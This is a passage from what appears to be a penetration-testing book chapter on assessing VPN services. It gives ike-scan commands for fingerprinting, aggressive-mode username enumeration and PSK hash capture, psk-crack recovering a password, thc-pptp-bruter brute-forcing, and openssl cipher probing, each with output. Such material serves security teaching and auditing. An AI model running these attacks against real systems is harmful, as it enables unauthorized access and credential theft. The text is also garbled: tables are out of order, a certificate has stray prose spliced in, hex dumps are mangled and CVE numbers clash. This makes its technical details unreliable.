<td>10.0.0.11</td>
<td>6</td>
<td>117049447.823060</td>
<td>4.999261</td>
</tr>
</tbody>
</table>

Implementation guess: Cisco PIX >= 6.3

<table>
<thead>
<tr>
<th>IP Address</th>
<th>No.</th>
<th>Recv time</th>
<th>Delta Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.0.0.47</td>
<td>1</td>
<td>117146848.860140</td>
<td>0.000000</td>
</tr>
<tr>
<td>10.0.0.47</td>
<td>2</td>
<td>117146850.869134</td>
<td>10.008994</td>
</tr>
<tr>
<td>10.0.0.47</td>
<td>3</td>
<td>117146852.888169</td>
<td>20.019035</td>
</tr>
</tbody>
</table>

Implementation guess: Linux FreeS/WAN, OpenSwan, strongSwan

<table>
<thead>
<tr>
<th>IP Address</th>
<th>No.</th>
<th>Recv time</th>
<th>Delta Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.0.0.50</td>
<td>1</td>
<td>117179900.325513</td>
<td>0.000000</td>
</tr>
<tr>
<td>10.0.0.50</td>
<td>2</td>
<td>117179902.346876</td>
<td>16.021363</td>
</tr>
<tr>
<td>10.0.0.50</td>
<td>3</td>
<td>117179903.380750</td>
<td>16.033874</td>
</tr>
<tr>
<td>10.0.0.50</td>
<td>4</td>
<td>117179905.414670</td>
<td>16.033920</td>
</tr>
</tbody>
</table>

Implementation guess: Nortel Contivity

<table>
<thead>
<tr>
<th>IP Address</th>
<th>No.</th>
<th>Recv time</th>
<th>Delta Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.0.0.254</td>
<td>1</td>
<td>117083575.291442</td>
<td>0.000000</td>
</tr>
<tr>
<td>10.0.0.254</td>
<td>2</td>
<td>117083578.843019</td>
<td>3.551577</td>
</tr>
<tr>
<td>10.0.0.254</td>
<td>3</td>
<td>117083582.842737</td>
<td>3.999758</td>
</tr>
<tr>
<td>10.0.0.254</td>
<td>4</td>
<td>117083586.843883</td>
<td>4.001146</td>
</tr>
<tr>
<td>10.0.0.254</td>
<td>5</td>
<td>117083590.840307</td>
<td>3.999190</td>
</tr>
<tr>
<td>10.0.0.254</td>
<td>6</td>
<td>117083594.842743</td>
<td>3.999670</td>
</tr>
<tr>
<td>10.0.0.254</td>
<td>7</td>
<td>117083598.843378</td>
<td>4.000635</td>
</tr>
<tr>
<td>10.0.0.254</td>
<td>8</td>
<td>117083602.843049</td>
<td>3.999671</td>
</tr>
<tr>
<td>10.0.0.254</td>
<td>9</td>
<td>117083606.843363</td>
<td>4.000314</td>
</tr>
<tr>
<td>10.0.0.254</td>
<td>10</td>
<td>117083610.843924</td>
<td>4.000561</td>
</tr>
<tr>
<td>10.0.0.254</td>
<td>11</td>
<td>117083614.843497</td>
<td>3.999573</td>
</tr>
<tr>
<td>10.0.0.254</td>
<td>12</td>
<td>117083618.843629</td>
<td>4.000132</td>
</tr>
</tbody>
</table>

Implementation guess: Juniper-Netscreen

Ending ike-scan 1.9: 5 hosts scanned in 2.692 seconds (1.86 hosts/sec). 0 returned handshake; 0 returned notify
The backoff patterns have identified the systems as Windows, Cisco PIX, Linux, Nortel, and NetScreen. This UDP backoff identification technique is detailed in a white paper by Roy Hills at http://www.nta-monitor.com/posts/2003/01/udp-backoff-whitepaper.pdf.

The other two systems that were discovered in Example 12-1 responded to ike-scan’s default transform set with a notify message rather than a handshake, and so they require specific authentication and transform settings to achieve a handshake. In Example 12-3 I specify custom authentication and transform combinations. For the first system, I use RSA signature authentication (--auth=3), and for the second I use a custom transform combination of 3DES, MD5, PSK, DH-5 (--trans=5,1,1,5). For further details regarding alternative transforms to obtain a handshake, see the ike-scan Wiki (http://www.nta-monitor.com/wiki/).

Example 12-3. ike-scan with custom transform attributes

```
$ ike-scan --auth=3 --showbackoff --multiline 10.0.0.1
```

Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

10.0.0.1  Main Mode Handshake returned
HDR=(CKY-R=a0bd270627f4267d)
SA=(Enc=3DES Hash=SHA1 Auth=RSA_Sig Group=2:modp1024 LifeType=Seconds
LifeDuration(4)=0x00007080)
VID=f4ed19e0c114eb516faaa0e37d1f2807b4381f000000010000138d466da1a8000000000000000000
(Firewall-1 NGX)

IKE Backoff Patterns:

<table>
<thead>
<tr>
<th>IP Address</th>
<th>No.</th>
<th>Recv time</th>
<th>Delta Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.0.0.1</td>
<td>1</td>
<td>1164806997.398373</td>
<td>0.000000</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>2</td>
<td>1164806999.402661</td>
<td>2.008788</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>3</td>
<td>1164807001.402768</td>
<td>2.000107</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>4</td>
<td>1164807003.402999</td>
<td>2.002311</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>5</td>
<td>1164807005.403192</td>
<td>2.000192</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>6</td>
<td>1164807007.412115</td>
<td>2.009024</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>7</td>
<td>1164807009.412454</td>
<td>2.001239</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>8</td>
<td>1164807013.412537</td>
<td>4.000083</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>9</td>
<td>1164807017.412650</td>
<td>4.000113</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>10</td>
<td>1164807021.421858</td>
<td>4.009208</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>11</td>
<td>1164807025.422004</td>
<td>4.000146</td>
</tr>
<tr>
<td>10.0.0.1</td>
<td>12</td>
<td>1164807029.422159</td>
<td>4.000155</td>
</tr>
</tbody>
</table>

10.0.0.1 Implementation guess: Firewall-1 4.1/NG/NGX

```
$ ike-scan --multiline --trans=5,1,1,5 --showbackoff 10.0.0.20
```

Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

10.0.0.20 Main Mode Handshake returned
HDR=(CKY-R=871c8aba1cf5a0d7)
SA=(SPI=699f1a94e2a65f8 Enc=3DES Hash=MD5 Auth=PSK Group=5:modp1536
LifeType=Seconds LifeDuration(4)=0x00007080)
VID=4a131c8107035845f57282f20e95452f (RFC 3947 NAT-T)
VID=810fa565f8ab14369105d706fbd57279

IKE Backoff Patterns:
Upon returning a main mode handshake, the backoff patterns identify these systems as Check Point and Solaris. The VID payload for the Check Point system identifies it as Check Point NGX firewall.

**Supported Transform Enumeration**

You can use `ike-scan` to enumerate the transform attributes for encryption algorithm, hash algorithm, authentication method, and DH group that are supported by the IPsec server. This allows you to determine if the server supports weak algorithms or methods.

To do this, we use the `--trans` option to specify a custom transform. `ike-scan` allows multiple `--trans` options to put more than one transform in the SA proposal, but when enumerating acceptable attributes you should specify a single transform. In the simple form that we will discuss here, the `--trans` option should specify four numbers separated by commas, which represent the encryption algorithm, hash algorithm, authentication method, and (DH) group, respectively. The values are defined in Appendix A of RFC 2409.

Some common values for these four fields are as follows:

- **Encryption Algorithm**: 1 (DES), 5 (3DES), 7/128 (128-bit AES) and 7/256 (256-bit AES)
- **Hash Algorithm**: 1 (MD5) and 2 (SHA1)
- **Authentication Method**: 1 (PSK), 3 (RSA signature), 64221 (hybrid mode) and 65001 (XAUTH)
- **DH Group**: 1 (MODP 768), 2 (MODP 1024) and 5 (MODP 1536)

Example 12-4 shows `ike-scan` being used against a VPN server that supports 3DES encryption, SHA1 hashing, PSK authentication, and DH group 2. The second `ike-scan` command shows that the server does not support weaker DES encryption and MD5 hashing with the same authentication and DH group.
Transform enumeration is a complex topic, and this section has only scratched the surface. For further details regarding this technique, see the ike-scan Wiki (http://www.nta-monitor.com/wiki/).

Investigating Known Weaknesses

Once you have determined the IPsec implementation, you can look up known vulnerabilities using public databases. Table 12-1 shows a number of serious remotely exploitable ISAKMP and IKE issues, as listed in the MITRE CVE list (http://cve.mitre.org).

Table 12-1. Remotely exploitable IPsec vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2640</td>
<td>01/08/2005</td>
<td>Juniper NetScreen VPN user enumeration</td>
</tr>
<tr>
<td>CVE-2005-2025</td>
<td>08/06/2005</td>
<td>Cisco VPN Concentrator group enumeration</td>
</tr>
<tr>
<td>CVE-2005-1058</td>
<td>06/04/2005</td>
<td>Cisco IOS unauthorized SA establishment vulnerability</td>
</tr>
<tr>
<td>CVE-2005-1057</td>
<td>06/04/2005</td>
<td>Cisco IOS XAUTH authentication bypass vulnerability</td>
</tr>
<tr>
<td>CVE-2004-0369</td>
<td>25/08/2004</td>
<td>Symantec LibKMP ISAKMP buffer overflow</td>
</tr>
<tr>
<td>CVE-2004-0699</td>
<td>28/07/2004</td>
<td>Check Point aggressive mode IKE ASN.1 heap overflow</td>
</tr>
<tr>
<td>CVE-2004-2679</td>
<td>16/06/2004</td>
<td>Check Point NG AI R55 and prior VID fingerprinting bug</td>
</tr>
<tr>
<td>CVE-2004-0469</td>
<td>04/05/2004</td>
<td>Check Point ISAKMP remote buffer overflow</td>
</tr>
<tr>
<td>CVE-2004-0040</td>
<td>04/02/2004</td>
<td>Check Point large certificate request buffer overflow</td>
</tr>
<tr>
<td>CVE-2004-2678</td>
<td>04/03/2004</td>
<td>HP Tru64 UNIX 5.1A and 5.1B IKE digital certificate overflow</td>
</tr>
<tr>
<td>CVE-2003-1320</td>
<td>02/09/2004</td>
<td>SonicWALL 6.4 malformed IKE response handling overflows</td>
</tr>
<tr>
<td>CVE-2002-1623</td>
<td>03/09/2002</td>
<td>Check Point aggressive mode IKE user enumeration</td>
</tr>
<tr>
<td>CVE-2002-2225</td>
<td>12/08/2002</td>
<td>SafeNet VPN client malformed IKE response handling overflows</td>
</tr>
<tr>
<td>CVE-2002-2224</td>
<td>12/08/2002</td>
<td>PGP Freeware 7 malformed IKE response handling overflows</td>
</tr>
</tbody>
</table>
Roy Hills has also written a paper detailing some of the common IPsec VPN flaws observed during three years of testing, available from http://www.nta-monitor.com/posts/2005/01/VPN-Flaws-Whitepaper.pdf.

### Denial-of-Service Vulnerabilities

DoS attacks can be launched against VPN servers by sending either malformed IKE packets or exhausting the IKE negotiation slots by sending a high rate of valid IKE requests. These attacks cause in-memory corruption or resource exhaustion, resulting in a DoS condition.

#### Malformed IKE packet DoS

IKE is a complex protocol, and some implementations cannot cope with malformed IKE packets. *ike-scan* can create many types of malformed packets and has been used to find at least one exploitable DoS attack as a result (CVE-2005-1802).

Some malformed packet DoS attacks result in memory corruption, which can be very serious because they may allow an attacker to run arbitrary code on the VPN device. If the vulnerable VPN device is also the organization’s firewall, this could give the attacker control of the firewall, which would likely lead to a compromise of the protected network.

The PROTOS test suite ([http://www.ee.oulu.fi/research/ouspg/protos/](http://www.ee.oulu.fi/research/ouspg/protos/)) was used in 2005 to perform comprehensive ISAKMP fuzzing of IKE implementations, uncovering a large number of DoS vulnerabilities in many IKE implementations. For a detailed list of the findings, please see [http://www.ee.oulu.fi/research/ouspg/protos/testing/c09/isakmp/](http://www.ee.oulu.fi/research/ouspg/protos/testing/c09/isakmp/).

#### Negotiation slots exhaustion attack

Most VPN servers have a fixed number of IKE negotiation slots. When a client starts negotiation by sending the first IKE packet, the server will keep the slot open for a considerable time before timing it out. Many VPN servers are vulnerable to a resource exhaustion DoS, which uses up all the available negotiation slots, thus preventing legitimate clients from connecting or rekeying. Also, because IKE runs over UDP, an attacker can forge his source address to make detection and blocking of such attacks difficult.

An example of this issue is CVE-2006-3906. Although this concerns Cisco devices, the underlying issue affects many other vendor implementations. *ike-scan* can be
used to test for negotiation slot resource exhaustion, but as with any DoS testing, it is vital to obtain the permission of the network owner first.

**Aggressive Mode IKE PSK User Enumeration**

Many remote access VPNs support aggressive mode together with PSK authentication. This combination has inherent security weaknesses, and many vendors implement it in a way that permits user enumeration.

Because of the method that IKE uses to derive the keying material with PSK authentication, it is not possible to use this authentication method with main mode unless the IP address of the initiator is known before the connection is made. Where the client IP address is not known in advance (such as with remote access) and PSK authentication is required, aggressive mode must be used.

Many vendors use IKE aggressive mode with PSK authentication in their default configurations, and some of these will respond differently depending on whether the user is valid or not. Example 12-5 shows an example of this vulnerability on a Juniper NetScreen VPN server, which will only respond if the specified ID is valid. This allows us to confirm that the user royhills@hotmail.com exists, but johndoe@hotmail.com does not.

**Example 12-5. Aggressive mode username enumeration with ike-scan**

```bash
$ ike-scan --aggressive --multiline --id=royhills@hotmail.com 10.0.0.254
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.0.0.254 Aggressive Mode Handshake returned
  HDR=(CKY-R=09155529199f8a5)
  SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
    LifeDuration=28800)
  VID=166f932d5eb64d8e4df4fd3e2313f0d0df84510000000000000000000 (Netscreen-15)
  VID=71368a61fc968896fc77570100 (Dead Peer Detection v1.0)
  VID=486561727426561745f4e6f74696679386b0100 (Heartbeat Notify)
  KeyExchange(128 bytes)
  Nonce(20 bytes)
  ID(Type=ID_IPV4_ADDR, Value=10.0.0.254)
  Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.103 seconds (9.75 hosts/sec). 1 returned handshake; 0 returned notify

$ ike-scan --aggressive --multiline --id=johndoe@hotmail.com 192.168.124.155
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

Ending ike-scan 1.9: 1 hosts scanned in 2.480 seconds (0.40 hosts/sec). 0 returned handshake; 0 returned notify

318 | Chapter 12: Assessing IP VPN Services
This technique can be surprisingly effective at discovering valid VPN usernames, especially once you discover the first one and determine the pattern (as many organizations use easily guessable username formats).

It is also possible to obtain valid usernames by sniffing the connection between the VPN client and server, as the first aggressive mode packet containing the client ID is sent in the clear. Example 12-6 shows `tcpdump` being used to sniff an initiator's aggressive mode IKE packet from `eth0`. We can see the ID `royhills@hotmail.com` at the very end of the packet.

**Example 12-6. Sniffing an aggressive mode packet to discover the username**

```bash
$ tcpdump -n -i eth0 -s 0 -X udp port 500
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
 0x0000: 4500 0194 0000 4000 4011 b699 0a87 7c03 E.....@i..|
 0x0010: c0a8 7c9b 01f4 01f4 0180 8f25 20fc 2bcf ..|.........%+.+
 0x0020: 17ba b816 0000 0000 0000 0000 0110 0400 ................
 0x0030: 0000 0000 0000 0178 0400 00a4 0000 0001 ............x
 0x0040: 0000 0001 0000 0098 0101 0004 0300 0024 .................$
 0x0050: 0103 0000 8001 0005 8002 0002 8003 0001 .................p.
 0x0060: 8004 0002 800b 0001 000c 0004 0000 7080 ....................p.
 0x0070: 0300 0024 0201 0000 8001 0005 8002 0001 $....................$.
 0x0080: 8003 0001 8004 0002 800b 0001 000c 0004 .................p....
 0x0090: 0000 7080 0300 0024 0301 0000 8001 0001 ....................p....$.
 0x00a0: 8002 0002 8003 0001 8004 0002 800b 0001 ....................p....
 0x00b0: 0000 0004 0000 7080 0000 0024 0401 0000 ....................p....
 0x00c0: 8003 0001 8002 0001 8003 0001 8004 0002 ....................p....
 0x00d0: 800b 0001 000c 0004 0000 7080 0a00 0084 .................p....
 0x00e0: 35a0 fea9 6619 87b4 5160 802e b9e 33e4 $...f.Q'....3.
 0x00f0: 5e09 87fe a9e3 40de cb8d e376 bc85 5a55 ^........@........ZU
 0x0100: 32b8 37ca 7302 01eb 5014 1024 2a5b 00d9 2.7.s..P..$[[..
 0x0110: 04b9 7e16 11dd 5f2f 0c67 0046 214c 37c2 .."..._/..FL7.
 0x0120: 4a86 4a24 d73f d393 b9e9 21b0 7c47 fd8a ..J5?.???/..|G...
 0x0130: 5427 d7c1 125b 954c 2314 d1cb e824 cc08 T'...X.l#...$..;
 0x0140: 3efd dc84 176c f8a2 7c57 97ef 24b7 3f84 ..................W.$.
 0x0150: 8dec 7590 400b 7ac0 ece5 ffc0 4b5a 994a ..u.@@...K.Z.2
 0x0160: 0500 0018 d415 b54b 1884 9dec 0eda 762a ...........x....v*
 0x0170: 5cc5 ce04 278f 31f8 0000 001c 0311 02f4 \'.l...
 0x0180: 726f 7968 696c 6c73 4063 406d 6169 6c73 royhills@hotmail.com
 0x0190: 2e63 6f66d .com
```

**Aggressive Mode IKE PSK Cracking**

Once you have a valid ID, you can use it to obtain a hash from the server. The hash is made up of several things, but the only unknown element is the password. Once you obtain the hash, it is possible to mount an offline dictionary or brute-force grinding attack to crack the password. Example 12-7 shows how to run `ike-scan` with the `--pskcrack` option to output the PSK hash to the specified file (`netscreen.psk`), and then use `psk-crack` to crack the password.
Example 12-7. Obtaining and cracking an aggressive mode pre-shared key

```
$ ike-scan --aggressive --multiline --id=royhills@hotmail.com -pskcrack=netscreen.psk 10.0.0.254
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.0.0.254 Aggressive Mode Handshake returned
  HDR=(CKY-R=c09155529199f8a5)
  SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration=28800)
  VID=166f932d5eb64d8e4df4d37e2313f0d0fd845100000000000000000 (Netscreen-15)
  VID=afcad7f368af6c96b8696fc77570100 (Dead Peer Detection v1.0)
  VID=486561727426561745f4e6f746966793860100 (Heartbeat Notify)
  KeyExchange(128 bytes)
  Nonce(20 bytes)
  ID(Type=ID_IPV4_ADDR, Value=10.0.0.254)
  Hash(20 bytes)
```

```
$ psk-crack netscreen.psk
Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "abc123" matches SHA1 hash 70263a01cb79f3e4a5c52589dc4a123cbe24d4
```

```
It is also possible to sniff the aggressive mode IKE exchange and crack the PSK using Cain & Abel, a Windows tool available from http://www.oxid.it/cain.html.

Upon compromising the user ID and password, you can use PGPnet, SafeNet, or a similar IPsec VPN client to establish a VPN tunnel and assess the amount of internal network access granted. Michael Thumann has written a step-by-step guide for configuring PGPnet, available as part of his PSK attack paper; you can download it from http://www.ernw.de/download/pskattack.pdf.

Some vendors use initial PSK authentication for IKE phase one, and then use XAUTH to provide a second level of authentication. These two authentication phases are often called “group authentication” and “user authentication,” respectively. The second authentication mechanism may use RSA SecureID or a similar two-factor system. Unfortunately, XAUTH relies on the strength of the initial phase one key exchange, leaving it susceptible to a man-in-the-middle attack, as described in John Pliam’s paper at http://www.ima.umn.edu/~pliam/xauth/.

Microsoft PPTP

Microsoft’s Point-to-Point Tunneling Protocol (PPTP) uses TCP port 1723 to negotiate and establish the connection and IP protocol 47 (GRE) for data communication. Due to protocol complexity and reliance on MS-CHAP for authentication, PPTPv1 and PPTPv2 are vulnerable to several offline cryptographic attacks, as described in Bruce Schneier’s page dedicated to the protocol at http://www.schneier.com/pptp.html.
PPTP was the most commonly used VPN protocol between Microsoft systems until Windows IPsec support was introduced in Windows 2000. Now it is more of a legacy protocol, and its use is in decline. However, it is still supported, and many networks still use PPTP.

Active PPTP brute-force password grinding can be launched using THC-pptp-bruter (http://www.thc.org/releases.php?q=pptp&x=0&y=0). This tool is fast and has been tested against Windows and Cisco PPTP servers. Example 12-8 shows the tool in use.

Example 12-8. THC-pptp-bruter in use against a Microsoft PPTP server

$ cat wordlist | thc-pptp-bruter 192.168.0.5
Hostname 'WEBSERV', Vendor 'Microsoft Windows NT', Firmware: 2195
5 passwords tested in 0h 00m 00s (5.00 5.00 c/s)
9 passwords tested in 0h 00m 02s (1.82 4.50 c/s)

The THC-pptp-bruter tool enumerates the hostname and vendor information as provided by the PPTP service. Even if brute-force password grinding is not effective, hostname and OS platform details are useful.

No other active information leak or user enumeration vulnerabilities have been identified in PPTP to date, and so the service is adequately secure from determined remote attack (if the attacker has no access to the PPTP traffic). However, a number of publicly available network sniffers can compromise PPTP traffic from the wire, including:

• Anger (http://packetstormsecurity.org/sniffers/anger-1.33.tgz)
• Dsniff (http://packetstormsecurity.org/sniffers/dsniff/dsniff-2.3.tar.gz)
• PPTP-sniff (http://packetstormsecurity.org/sniffers/pptp-sniff.tar.gz)

SSL VPNs

SSL VPNs are often used as an alternative to IPsec for remote access. They are not suitable for site-to-site VPN links. The main advantage of SSL VPNs is that they only require a web browser on the client side (although they often require additional add-ons or plug-ins) and use the SSL protocol for communications. This means that there is often no need to reconfigure firewalls to allow traffic through or to install additional VPN software on the client.

SSL uses TCP for both connection establishment and data transfer. This is often the standard TCP port 443 (for HTTP over SSL), but it can use any port. Because SSL VPN servers use TCP, Nmap can be used to detect and fingerprint them.
Basic SSL Querying

Once you have identified and fingerprinted an SSL VPN with Nmap, you can probe it using the OpenSSL \texttt{s_client} program (available from \url{http://www.openssl.org}) to obtain the server certificate and determine if the server supports weak encryption protocols or features, such as PCT. Example 12-9 shows the OpenSSL tools being used to connect to a Check Point SSL VPN server. I use \texttt{s_client} to obtain the server certificate and show the negotiated cipher. I then use the \texttt{x509} tool to decode the certificate upon pasting it.

Example 12-9. Using OpenSSL \texttt{s_client} and \texttt{x509} to probe a Check Point SSL VPN server

\begin{verbatim}
$ openssl s_client -connect 172.16.2.2:443
CONNECTED(00000003)
depth=1 /O=CA/CN=172.16.2.2
verify error:num=19:self signed certificate in certificate chain
verify return:0
---
Certificate chain
 0 s:/CN=172.16.2.2
 1 s:/O=CA/CN=172.16.2.2
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIB6TCiCAwAwIBAgIAe4tF3zAnBkgkzhkiG9w0BAQUFADAvMQswCQYDVQQKEwJD
QTETMBEGAUEwMKTcyljE2LiJiMjAfWwIjAAMjMxNTE0MzFaFwOxKhAjA4MjAx
NTE0NzFzAMBUIeZARBgnVBMCCTjE3N4vNi4yLjIwZg0DQYJKoZIhvcNAQEBBQAD
gAMIGAoGBALmjIa5sySoVBv2Qd1tN9pNz3L85YgAfThmCaCk6y7587v6poo
mhi0U7tJXyu7qjD88vGXXwJ408pOckcwpwP1AT75YgEHYRwKHwBP3yB8AnPs/v
p76mi1ugGI6hSuO8BC0O+i4QXMsc53CUTxRMUd/z3UsW0NY8LPlE2IgE0d3s
OTAPBYnWHRMBAOEBTADQEAMBYGAIUJQEBAAGMQwGCCsGAQUFBwMBMA4GA1UD
DwEBEAAQAEwIFoDANBkgkhkiG9w0BAQUFDAQSgQgMicpOU5p1pFzTeITIUuPnYVg
bGPhnZIJ1UBJyVghfxC+1PJ1BnELa9ppas2UdISteKPjCeu13806wUzPQ8w
m5wq29zUnbkNOXq3iZTbBojj+rrFSvT50/Ojnf4e6IsS7a9flETY9XCh+wL4
LO7IGyzSCKCLVqyCZA==
-----END CERTIFICATE-----
subject=/CN=172.16.2.2
issuer=/O=CA/CN=172.16.2.2
---
No client certificate CA names sent
---
SSL handshake has read 1097 bytes and written 332 bytes
---
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA
Server public key is 1024 bit
SSL-Session:
  Protocol : TLSv1
  Cipher : DES-CBC3-SHA
  Session-ID:
  Session-ID-ctx:
\end{verbatim}
Example 12-9. Using OpenSSL s_client and x509 to probe a Check Point SSL VPN server

Master-Key:
957CCB0B05FEF32428296DDB4C9ADB6FF48287EA8FC68082768AC8D6486292FCAB327B5599A57FCB0328878D
FA83EAD

Key-Arg : None
Start Time: 1172515604
Timeout : 300 (sec)

Verify return code: 19 (self signed certificate in certificate chain)

DONE

$ openssl x509 -text -noout
-----BEGIN CERTIFICATE-----
MIIB6TCCAvkGaIBAgIEe4ttFzZANBgkqhkiG9w0BAQUFAwIwDQYJKoZIhvcNAQEB\nBTADAgEBATADAQAB invariably avoids the endless loops that \nMIIB6TCCAvkGaIBAgIEe4ttFzZANBgkqhkiG9w0BAQUFAwIwDQYJKoZIhvcNAQEB\nBTADAgEBATADAQAB invariably avoids the endless loops that

Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1804289383 (0x6b8b4567)
Signature Algorithm: sha1WithRSAEncryption
Issuer: O=CA, CN=172.16.2.2
Validity
Not After : Aug 20 15:14:31 2016 GMT
Subject: CN=172.16.2.2
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit):

Modulus (1024 bit):
26:35:f2:bb:ba:a7:8c:3f:3c:bc:65:ca:c3:7e:0e:
58:07:07:3f:51:5f:6f:0c:5a:3f:1f:ef:a7:be:a6:
8b:3b:a0:18:8e:a1:4a:ed:0e:04:68:ce:3b:eb:b8:
Exponent: 3 (0x3)

X509v3 extensions: X509v3 Basic Constraints: CA:FALSE
X509v3 Extended Key Usage:
Useful data that is enumerated through this process includes the certificate chain details (whether the certificate is self-signed or issued by a given certificate authority), server public key size, and server name (which is an IP address in this case, but is sometimes an internal hostname). Often, other useful information is found in the certificate, such as user email addresses and office details.

**Enumerating Weak Cipher Support**

Support for weak single DES (56-bit) and export-grade encryption ciphers allows attackers to perform man-in-the-middle session security downgrade attacks—forcing the server and client to communicate using very weak encryption that is easily attacked and compromised. This is a significant issue in large e-commerce and other types of environments, but not so much in smaller networks.

You can use the OpenSSL tools to enumerate the ciphers that a given server supports by attempting to connect with each possible cipher and noting those that the server will accept. To do this, you first obtain a list of all the possible ciphers with the `openssl ciphers` command, specifying the cipher list ALL:eNULL to include all possible ciphers including those with NULL encryption, as shown in Example 12-10.

**Example 12-10. Using openssl ciphers to list all the possible ciphers**

```
$ openssl ciphers ALL:eNULL
```
For more details about the ciphers, you can include the \texttt{-v} (verbose) option to \texttt{openssl} ciphers. This provides a detailed listing including the protocol type, key exchange, authentication, encryption, and MAC algorithms used, along with key size restrictions and whether the algorithm is classed as an export-grade cipher.

Examples 12-11, 12-12, and 12-13 show three ciphers being used to connect to the target SSL server. The ciphers we attempt to use are:

- \texttt{RC4-MD5}, which is a strong cipher using 128-bit RC4 encryption
- \texttt{EXP-RC4-MD5}, which is a weak cipher using exportable (40-bit) RC4
- \texttt{NULL-MD5}, which performs no encryption at all

\textit{Example 12-11. Attempting to connect using RC4-MD5}

```bash
$ openssl s_client -cipher RC4-MD5 -connect 172.16.3.18:443
CONNECTED(00000003)
```

- Depth=0 /C=GB/ST=Kent/L=Rochester/O=NTA Monitor Ltd/OU=Demo Network/CN=debian31.demo.nta-monitor.com/emailAddress=royhills@hotmail.com
- Verify error:num=20:unable to get local issuer certificate
- Verify return:1

---

Certificate chain

- 0 s:/C=GB/ST=Kent/L=Rochester/O=NTA Monitor Ltd/OU=Demo Network/CN=debian31.demo.nta-monitor.com/emailAddress=royhills@hotmail.com
- i:/C=XY/ST=Snake Desert/L=Snake Town/O=Snake Oil, Ltd/OU=Certificate Authority/CN=Snake Oil CA/emailAddress=ca@snakeoil.dom

---

Server certificate

```plaintext
-----BEGIN CERTIFICATE-----
MIIDRzCCArCgAwIBAgIJAPFPsPPMQoMogCCsQGSIb30QEBAUAUMIGbGMDwswCQYD
VQQGewJYWTEVMBMGA1UECBMMU2VudC5wMDQwMQYDVQQDEwpMUC5wMDQwMQswCQYD
VQQDDgpTbmFrZSBLbmdyaWxpZ29yMIEpMigfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQK
EAkTBlBYIFQIXC4xJjAkBgkqhkiG9w0BggFiBCQYD
-----END CERTIFICATE-----
```
Example 12-11. Attempting to connect using RC4-MD5 (continued)

```
Example 12-11. Attempting to connect using RC4-MD5 (continued)

```
In these two examples, we see that the server at 172.16.3.18 supports both RC4-MD5 and EXP-RC4-MD5, because the server responds positively to these requests. Example 12-13 shows that the server does not support NULL-MD5, as the server responds with a failure. In practice, a penetration tester would use a script to iterate through all the possible ciphers, then analyze the output to deduce which were supported.
In recent years, a number of serious memory corruption attacks have been identified in numerous SSL implementations (primarily OpenSSL and Microsoft SSL), resulting in remote code execution, as outlined in Table 12-2.

**Example 12-13. Failing to connect using NULL-MD5**

```bash
$ openssl s_client -cipher NULL-MD5 -connect 172.16.3.18:443
CONNECTED(00000003)
4431:error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure:s23_clnt.c:473:
```

## Known SSL Vulnerabilities

In recent years, a number of serious memory corruption attacks have been identified in numerous SSL implementations (primarily OpenSSL and Microsoft SSL), resulting in remote code execution, as outlined in Table 12-2.

**Table 12-2. Remotely exploitable vulnerabilities in SSL implementations**

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-2218</td>
<td>12/06/2007</td>
<td>Microsoft Secure Channel digital signature parsing overflow</td>
</tr>
<tr>
<td>CVE-2004-0123</td>
<td>13/04/2004</td>
<td>Microsoft ASN.1 heap overflow</td>
</tr>
<tr>
<td>CVE-2003-0719</td>
<td>13/04/2004</td>
<td>Microsoft SSL PCT buffer overflow</td>
</tr>
<tr>
<td>CVE-2003-0818</td>
<td>10/02/2004</td>
<td>Microsoft ASN.1 heap overflow</td>
</tr>
<tr>
<td>CVE-2003-0545</td>
<td>04/11/2003</td>
<td>OpenSSL 0.9.7d and earlier ASN.1 double-free vulnerability</td>
</tr>
<tr>
<td>CVE-2002-0656</td>
<td>30/07/2002</td>
<td>OpenSSL 0.9.7-b2 and 0.9.6d SSL2 client master key overflow</td>
</tr>
</tbody>
</table>

### SSL implementation exploits

MSF has exploit modules for CVE-2000-0719 (Microsoft SSL PCT overflow, MS04-011) and CVE-2003-0818 (Microsoft ASN.1 heap overflow) that can be used to exploit Microsoft IIS services in particular. For the full list of exploit modules that MSF supports in its stable branch, see [http://framework.metasploit.com/exploits/list](http://framework.metasploit.com/exploits/list).

